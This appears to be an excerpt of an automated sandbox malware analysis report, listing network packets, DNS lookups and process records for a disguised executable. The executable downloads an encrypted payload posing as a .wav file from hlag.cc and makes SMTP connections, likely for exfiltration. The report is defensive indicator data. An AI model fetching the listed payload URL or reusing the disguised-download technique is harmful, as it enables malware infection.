Jan 15, 2025 13:21:45.869292021 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.869303942 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.869314909 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.869329929 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.869334936 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.869342089 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.869354963 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.869369030 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.869388103 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.869415998 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.869426966 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.869437933 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.869451046 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.869463921 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.869469881 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.869482994 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.869503021 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.869503975 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.869513988 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.869524956 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.869525909 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.869544029 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.869550943 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.869563103 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.869575024 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.869585991 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.869586945 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.869599104 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.869612932 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.869622946 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.869662046 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.869673014 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.869673967 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.869685888 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.869699001 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.869724989 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.869728088 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.869738102 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.869749069 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.869760036 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.869775057 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.869792938 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.869818926 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.869856119 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.869868994 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.869883060 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.869895935 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.869911909 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.869971991 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.869983912 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.869995117 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.870007992 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.870018959 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.870019913 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.870031118 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.870048046 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.870059967 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.870062113 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.870085955 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.870104074 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.870285034 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.870297909 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.870311022 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.870326996 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.870342016 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.870349884 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.870353937 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.870367050 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.870378971 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.870384932 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.870393038 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.870404005 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.870407104 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.870415926 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.870415926 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.870426893 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.870440960 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.870467901 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.870533943 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.911261082 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.911358118 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.911367893 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.911370039 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.911379099 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.911393881 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.911406040 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.911408901 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.911417961 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.911429882 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.911448956 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.911478996 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.954374075 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.954396009 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.954401970 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.954407930 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.954417944 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.954425097 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.954437017 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.954473019 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.954489946 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.954493046 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.954503059 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.954520941 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.954534054 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.954539061 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.954545021 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.954555988 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.954561949 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.954579115 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.954602957 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.954824924 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.954834938 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.954849958 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.954863071 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.954874039 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.954884052 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.954884052 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.954896927 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.954907894 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.954907894 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.954920053 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.954935074 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.954936981 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.954945087 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.954956055 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.954998970 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.956928968 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:45.961836100 CET	80	49949	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:45.961894989 CET	49949	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:49.837838888 CET	49889	25	192.168.2.9	46.175.148.58
Jan 15, 2025 13:22:00.445147038 CET	49977	25	192.168.2.9	46.175.148.58
Jan 15, 2025 13:22:01.447200060 CET	49977	25	192.168.2.9	46.175.148.58
Jan 15, 2025 13:22:03.462850094 CET	49977	25	192.168.2.9	46.175.148.58
Jan 15, 2025 13:22:07.462990046 CET	49977	25	192.168.2.9	46.175.148.58
Jan 15, 2025 13:22:15.463038921 CET	49977	25	192.168.2.9	46.175.148.58

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 15, 2025 13:21:12.268253088 CET	63538	53	192.168.2.9	1.1.1.1
Jan 15, 2025 13:21:12.635112047 CET	53	63538	1.1.1.1	192.168.2.9
Jan 15, 2025 13:21:34.789112091 CET	61513	53	192.168.2.9	1.1.1.1
Jan 15, 2025 13:21:34.804084063 CET	53	61513	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 15, 2025 13:21:12.268253088 CET	192.168.2.9	1.1.1.1	0xad65	Standard query (0)	hlag.cc	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:21:34.789112091 CET	192.168.2.9	1.1.1.1	0x8a1	Standard query (0)	mail.iaa-airferight.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 15, 2025 13:21:12.635112047 CET	1.1.1.1	192.168.2.9	0xad65	No error (0)	hlag.cc		173.252.167.60	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:21:34.804084063 CET	1.1.1.1	192.168.2.9	0x8a1	No error (0)	mail.iaa-airferight.com		46.175.148.58	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

hlag.cc

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49747	173.252.167.60	80	7604	C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe

Timestamp	Bytes transferred	Direction	Data
Jan 15, 2025 13:21:12.661257029 CET	205	OUT	GET /panel/uploads/Hbfki.wav HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Host: hlag.cc Connection: Keep-Alive
Jan 15, 2025 13:21:13.265240908 CET	232	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: audio/x-wav last-modified: Wed, 15 Jan 2025 07:42:04 GMT accept-ranges: bytes content-length: 1264136 date: Wed, 15 Jan 2025 12:21:13 GMT
Jan 15, 2025 13:21:13.265484095 CET	1236	IN	Data Raw: b3 25 26 9e 43 e9 f2 b6 71 4c dc d7 d0 9a b4 d7 98 f6 b7 02 81 bc fe 6a d1 ef a7 7a b3 62 2f dc 31 fa d0 37 10 37 3b aa 04 88 d5 a1 42 f7 8e 27 58 65 88 eb fa 32 ce 5d 2e a0 b8 0e 1f 02 15 9d 2e 84 b1 b5 a3 80 7e d2 ce 68 97 ac 9a e3 45 dc e7 f5 Data Ascii: %&CqLjzb/177;B'Xe2]..~hE&Q[(md92O=-I@86.{=bn$!$w?vVJ]0(v8R7=f70O50{z{R&14Aif'`J"
Jan 15, 2025 13:21:13.265496969 CET	1236	IN	Data Raw: 1f c7 c4 b1 b7 4e 50 94 a3 99 56 e8 0a 08 03 f0 ed 26 a2 f4 89 61 c0 51 44 8f 66 7a 76 9b 68 81 bb 4c 3c c1 ae 59 a5 c4 0d bb 9b 90 04 40 cd 96 02 2e d9 69 71 ef d8 00 08 b9 12 04 fa 98 31 21 5c e3 14 78 35 93 78 14 ef 50 fb c7 c3 14 ae a3 c7 8c Data Ascii: NPV&aQDfzvhL<Y@.iq1!\x5xPpU-9{g'm\|M+$4m3^[>r)O'1#%L%hrWYQP }Ig}38,U\|lT0!(b,cjteI`=TKbz'?/=sA
Jan 15, 2025 13:21:13.265508890 CET	448	IN	Data Raw: 6c ad a8 29 e8 e9 bf f3 4d c2 c1 21 4b a2 4e 57 a8 7b 48 20 a2 0c 11 cc de 7d 79 3e 71 25 61 33 66 36 f3 5b 29 80 81 b3 68 ea 56 ab 0d e8 6e bb 27 f0 a8 5a c2 98 fe 77 85 0b 35 04 1c 66 e4 e7 0c a5 af eb 76 b1 bb f0 85 3d 26 ae b6 d7 ec 2f 77 d2 Data Ascii: l)M!KNW{H }y>q%a3f6[)hVn'Zw5fv=&/wR=n}[oD9fa1yqgVIy$>Hj\|J4]4*@pl_TQxEgi~J\|8El-CczAN$.9XsU=-#}~{+vMH w^
Jan 15, 2025 13:21:13.265536070 CET	1236	IN	Data Raw: c6 c5 32 3f ae 4e 89 92 fa f4 e3 4f 30 7a a1 aa 88 37 96 6b 11 b0 1e 50 60 b0 ea 17 ae 10 25 7f 40 4f 68 55 af b4 78 aa a4 82 bb 3f cb 3a 60 20 52 47 fc a6 81 10 7f 57 0b a8 cd 3c 3b d6 b2 e3 62 fa 3a 85 0e 48 b5 63 05 a6 28 a5 50 e8 1e f7 ca d9 Data Ascii: 2?NO0z7kP`%@OhUx?:` RGW<;b:Hc(P{\|KZ^A6 >_#;>a}!UFi1g#a':BuoJ9CyMtntW`=s!7j&z;h?s&R&ws6@-m
Jan 15, 2025 13:21:13.265547037 CET	1236	IN	Data Raw: 9e e7 b0 f5 03 51 98 8b af fa 31 7a 82 1d 96 7e ca 0f 88 35 05 45 93 7f 58 7e bf f9 76 c5 ef eb b2 43 ee a3 03 f4 d2 f0 19 49 d1 0b df 02 67 1f 0a ef c6 58 00 a0 45 0b ad 17 bc e6 72 e5 fb 29 a7 95 c7 54 ad 40 d7 d0 6a e6 b5 ac ca 71 95 38 f5 66 Data Ascii: Q1z~5EX~vCIgXEr)T@jq8ff)g.B}6~YXf#&$>RH^AWCtJv75S__XQbD1P6\|d%f}*{{R04>%pNN$ySOo\}P34Zm?#
Jan 15, 2025 13:21:13.265562057 CET	448	IN	Data Raw: ee 5e e3 2c ab 9c 46 38 ba 8c 76 97 4e dc 01 ca 3e d8 3c eb 3e 10 24 50 12 bc 96 15 be 15 0a 2f cd 65 69 84 0b f5 e3 d9 00 e2 4d e3 30 a4 e3 b9 ab 39 03 37 66 27 d9 bd a1 2d 2d 61 9f 99 ba b1 e5 b0 b7 93 a3 5b 65 04 03 fc 7d 39 a1 2f 07 75 25 f5 Data Ascii: ^,F8vN><>$P/eiM097f'--a[e}9/u%Sx.Ge>\:RIJLpILni_L#~MeTGWZg!/8zcm2bMEPtS+-w9w>FZne"p-WzE=
Jan 15, 2025 13:21:13.265677929 CET	1236	IN	Data Raw: 5d e8 b4 f7 85 9e eb 01 5c b6 94 8d 75 e1 71 70 cd 3e 8f 50 ba 2c bb 06 13 49 6f e8 ba 8f 12 7f 43 b7 bb 6f 00 9d 38 4e 72 92 6c 28 69 89 98 88 25 c1 1e 2e d5 6c 63 83 e6 8a d5 0f 1b 3a 78 81 9a 0a 26 48 03 f4 ba 7f c6 ca b2 be 96 c6 2a c8 f2 25 Data Ascii: ]\uqp>P,IoCo8Nrl(i%.lc:x&H*%~=t^,,=:3mE,EUd6(h/ozQ6(w$3JM!3{B Xmqe"\|zJ5SA-i=H?qO$]dr2[yq/
Jan 15, 2025 13:21:13.265691042 CET	1236	IN	Data Raw: ba 2c fa 3a df 17 52 0f 83 8a f2 c5 b4 63 4c f6 55 7a 0e 72 ee b6 ed cc a1 84 b4 06 5f fe 42 d9 92 9f 2b 37 f4 38 3f 1a 5e eb a6 7b 48 ec 48 a0 02 ac b0 1b a4 da 13 94 a0 fb 1f 7b 9b b0 17 67 6f 38 4d 77 09 83 96 fd bb a9 3e cb 27 27 f0 13 88 78 Data Ascii: ,:RcLUzr_B+78?^{HH{go8Mw>''xhblKt<b"Fu 02\ijTq$xMKXiL,)i[m;:U<FL;NvG{`"((UuVUx?
Jan 15, 2025 13:21:13.265702963 CET	1236	IN	Data Raw: c8 c7 b8 f8 1d 26 91 88 eb a5 76 fe 53 c1 4f c5 ba 2c 6d 69 23 a0 03 88 2f 82 2c ca ac d2 57 fc 00 98 33 6e 17 15 db 2d 9f 2a 9e 24 1f e4 74 eb 5e 3c c0 24 89 62 92 10 54 2d 6d 44 0b 7b 28 05 35 cb a6 f9 fc 6c a2 bd 7b 0f 50 b4 b8 39 d5 69 9b 4c Data Ascii: &vSO,mi#/,W3n-$t^<$bT-mD{(5l{P9iLl7@DFIq#]m$,!~8e:e#>N6OP\|L_/55LkIDb>z:f7lualN==9SHHLj;;
Jan 15, 2025 13:21:13.270567894 CET	1236	IN	Data Raw: f0 4a 59 fd a3 83 78 eb 01 f0 0c 9d a2 55 1b 35 cc a3 16 32 a5 68 54 fc 4f 29 9f 01 37 ae 15 55 c3 d5 1d b5 19 e7 a1 63 7d d9 b7 79 0d 00 27 4c 03 f9 a9 a5 2e b5 e5 c1 f2 12 87 c8 d0 b1 eb c0 bf 53 c5 98 dc fe 98 38 6f a7 e9 a0 4c ac e5 4f 4f c9 Data Ascii: JYxU52hTO)7Uc}y'L.S8oLOO\Y-2[x5zUP<jA/%/r/=?ZKLDC\|3{4Thymu<hghkJ\&y~E\|?dY'maL%U2hyp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49949	173.252.167.60	80	3716	C:\Users\user\AppData\Roaming\page.exe

Timestamp	Bytes transferred	Direction	Data
Jan 15, 2025 13:21:44.313855886 CET	205	OUT	GET /panel/uploads/Hbfki.wav HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Host: hlag.cc Connection: Keep-Alive
Jan 15, 2025 13:21:44.913146019 CET	232	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: audio/x-wav last-modified: Wed, 15 Jan 2025 07:42:04 GMT accept-ranges: bytes content-length: 1264136 date: Wed, 15 Jan 2025 12:21:44 GMT
Jan 15, 2025 13:21:44.913158894 CET	1236	IN	Data Raw: b3 25 26 9e 43 e9 f2 b6 71 4c dc d7 d0 9a b4 d7 98 f6 b7 02 81 bc fe 6a d1 ef a7 7a b3 62 2f dc 31 fa d0 37 10 37 3b aa 04 88 d5 a1 42 f7 8e 27 58 65 88 eb fa 32 ce 5d 2e a0 b8 0e 1f 02 15 9d 2e 84 b1 b5 a3 80 7e d2 ce 68 97 ac 9a e3 45 dc e7 f5 Data Ascii: %&CqLjzb/177;B'Xe2]..~hE&Q[(md92O=-I@86.{=bn$!$w?vVJ]0(v8R7=f70O50{z{R&14Aif'`J"
Jan 15, 2025 13:21:44.913211107 CET	1236	IN	Data Raw: 1f c7 c4 b1 b7 4e 50 94 a3 99 56 e8 0a 08 03 f0 ed 26 a2 f4 89 61 c0 51 44 8f 66 7a 76 9b 68 81 bb 4c 3c c1 ae 59 a5 c4 0d bb 9b 90 04 40 cd 96 02 2e d9 69 71 ef d8 00 08 b9 12 04 fa 98 31 21 5c e3 14 78 35 93 78 14 ef 50 fb c7 c3 14 ae a3 c7 8c Data Ascii: NPV&aQDfzvhL<Y@.iq1!\x5xPpU-9{g'm\|M+$4m3^[>r)O'1#%L%hrWYQP }Ig}38,U\|lT0!(b,cjteI`=TKbz'?/=sA
Jan 15, 2025 13:21:44.913222075 CET	1236	IN	Data Raw: 6c ad a8 29 e8 e9 bf f3 4d c2 c1 21 4b a2 4e 57 a8 7b 48 20 a2 0c 11 cc de 7d 79 3e 71 25 61 33 66 36 f3 5b 29 80 81 b3 68 ea 56 ab 0d e8 6e bb 27 f0 a8 5a c2 98 fe 77 85 0b 35 04 1c 66 e4 e7 0c a5 af eb 76 b1 bb f0 85 3d 26 ae b6 d7 ec 2f 77 d2 Data Ascii: l)M!KNW{H }y>q%a3f6[)hVn'Zw5fv=&/wR=n}[oD9fa1yqgVIy$>Hj\|J4]4*@pl_TQxEgi~J\|8El-CczAN$.9XsU=-#}~{+vMH w^
Jan 15, 2025 13:21:44.913228989 CET	1236	IN	Data Raw: 07 58 5a 0e 14 ef c4 a9 ac ec d2 5a e0 8d 6d 03 7c 6c 3f 23 e4 e6 f2 fb 1e bc 7d d8 f3 22 6e d2 65 26 60 3c e0 cd d5 79 be 05 2d 6f 16 a8 ba a4 c9 9b bc 5f e5 a3 2c 35 3f 7f a1 d0 78 5f 95 63 e9 c1 84 75 41 0a 42 85 bc 83 37 00 24 2b fc 90 eb 5a Data Ascii: XZZm\|l?#}"ne&`<y-o_,5?x_cuAB7$+Z0!UHxZ)CUj+"p.E?3K9#]}QlO'c%7mh`0~jMH$^pezGg-9!}[VYDG/Soj#%9<?adA
Jan 15, 2025 13:21:44.913234949 CET	896	IN	Data Raw: a0 5d 26 04 1a bd 5c 42 e0 9d a1 a8 3d 7b 84 9c 7d ac 05 58 ff e7 a5 a1 21 3c 82 4f 02 8a 2f 43 13 b3 99 11 6f 9d 11 5d 67 3f f0 d6 21 fa 12 f5 18 ec a9 3a 1c dd e8 4c 49 20 31 1f d5 38 2a 5b 6f 84 05 d8 ed b3 49 88 b3 6f 6b 2b ee a4 46 c9 1d 98 Data Ascii: ]&\B={}X!<O/Co]g?!:LI 18*[oIok+FT7uhwp)GteHc+5x}ZiobOo;eP5MXpR]yr~N%0R#),#R,.)rB.bd,\r`}+9
Jan 15, 2025 13:21:44.915110111 CET	1236	IN	Data Raw: 5d e8 b4 f7 85 9e eb 01 5c b6 94 8d 75 e1 71 70 cd 3e 8f 50 ba 2c bb 06 13 49 6f e8 ba 8f 12 7f 43 b7 bb 6f 00 9d 38 4e 72 92 6c 28 69 89 98 88 25 c1 1e 2e d5 6c 63 83 e6 8a d5 0f 1b 3a 78 81 9a 0a 26 48 03 f4 ba 7f c6 ca b2 be 96 c6 2a c8 f2 25 Data Ascii: ]\uqp>P,IoCo8Nrl(i%.lc:x&H*%~=t^,,=:3mE,EUd6(h/ozQ6(w$3JM!3{B Xmqe"\|zJ5SA-i=H?qO$]dr2[yq/
Jan 15, 2025 13:21:44.915122032 CET	1236	IN	Data Raw: ba 2c fa 3a df 17 52 0f 83 8a f2 c5 b4 63 4c f6 55 7a 0e 72 ee b6 ed cc a1 84 b4 06 5f fe 42 d9 92 9f 2b 37 f4 38 3f 1a 5e eb a6 7b 48 ec 48 a0 02 ac b0 1b a4 da 13 94 a0 fb 1f 7b 9b b0 17 67 6f 38 4d 77 09 83 96 fd bb a9 3e cb 27 27 f0 13 88 78 Data Ascii: ,:RcLUzr_B+78?^{HH{go8Mw>''xhblKt<b"Fu 02\ijTq$xMKXiL,)i[m;:U<FL;NvG{`"((UuVUx?
Jan 15, 2025 13:21:44.915138006 CET	448	IN	Data Raw: c8 c7 b8 f8 1d 26 91 88 eb a5 76 fe 53 c1 4f c5 ba 2c 6d 69 23 a0 03 88 2f 82 2c ca ac d2 57 fc 00 98 33 6e 17 15 db 2d 9f 2a 9e 24 1f e4 74 eb 5e 3c c0 24 89 62 92 10 54 2d 6d 44 0b 7b 28 05 35 cb a6 f9 fc 6c a2 bd 7b 0f 50 b4 b8 39 d5 69 9b 4c Data Ascii: &vSO,mi#/,W3n-$t^<$bT-mD{(5l{P9iLl7@DFIq#]m$,!~8e:e#>N6OP\|L_/55LkIDb>z:f7lualN==9SHHLj;;
Jan 15, 2025 13:21:44.915153027 CET	1236	IN	Data Raw: a6 ff 93 f2 62 15 60 cc 79 9c 81 07 f9 8e 35 d2 39 5e 78 e3 0b 2c d5 70 0a b7 20 70 75 3f 6a 75 42 18 73 97 fd 4b c2 e0 87 a4 de 7e 86 15 bf 2c 37 0c e4 a8 4c 3c fc 29 3f 9e 37 7e 35 58 11 17 63 a9 ea fc 28 3b c3 35 1b 42 6f 6a 7d 26 69 8a ef 81 Data Ascii: b`y59^x,p pu?juBsK~,7L<)?7~5Xc(;5Boj}&iLZR?:..+ER(xpmHZqVCBD"FZcX# :)*TM&;O3ne5WO9%}aSCoJ 'B~
Jan 15, 2025 13:21:44.918077946 CET	1236	IN	Data Raw: 58 61 db 50 e9 7f 0e a6 83 fd 12 46 87 04 e9 fc eb 32 67 31 88 d2 31 70 6c db 7f 5f ff c0 81 93 ad f8 44 77 4c 80 5b f4 98 5d 55 55 78 a6 41 15 4e 0d 22 4d bf 7d 97 47 93 b1 0f eb 93 2b fe ea 1a 95 aa c5 49 fd 4e 82 cc 61 d3 f5 52 05 65 71 73 cc Data Ascii: XaPF2g11pl_DwL[]UUxAN"M}G+INaReqs18$P_S^HdCLd=YFF]P)4lwNiv9r&+d<u&E;S[>!YXub@Cl*`)w/O

Target ID:	1
Start time:	07:21:10
Start date:	15/01/2025
Path:	C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe"
Imagebase:	0x1f0000
File size:	196'096 bytes
MD5 hash:	BA27BFA68B1196840BE542CF4DC7178B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000001.00000002.1657466713.0000000002698000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000001.00000002.1686131808.00000000063A0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	07:21:14
Start date:	15/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c ipconfig /release
Imagebase:	0xc50000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	07:21:14
Start date:	15/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
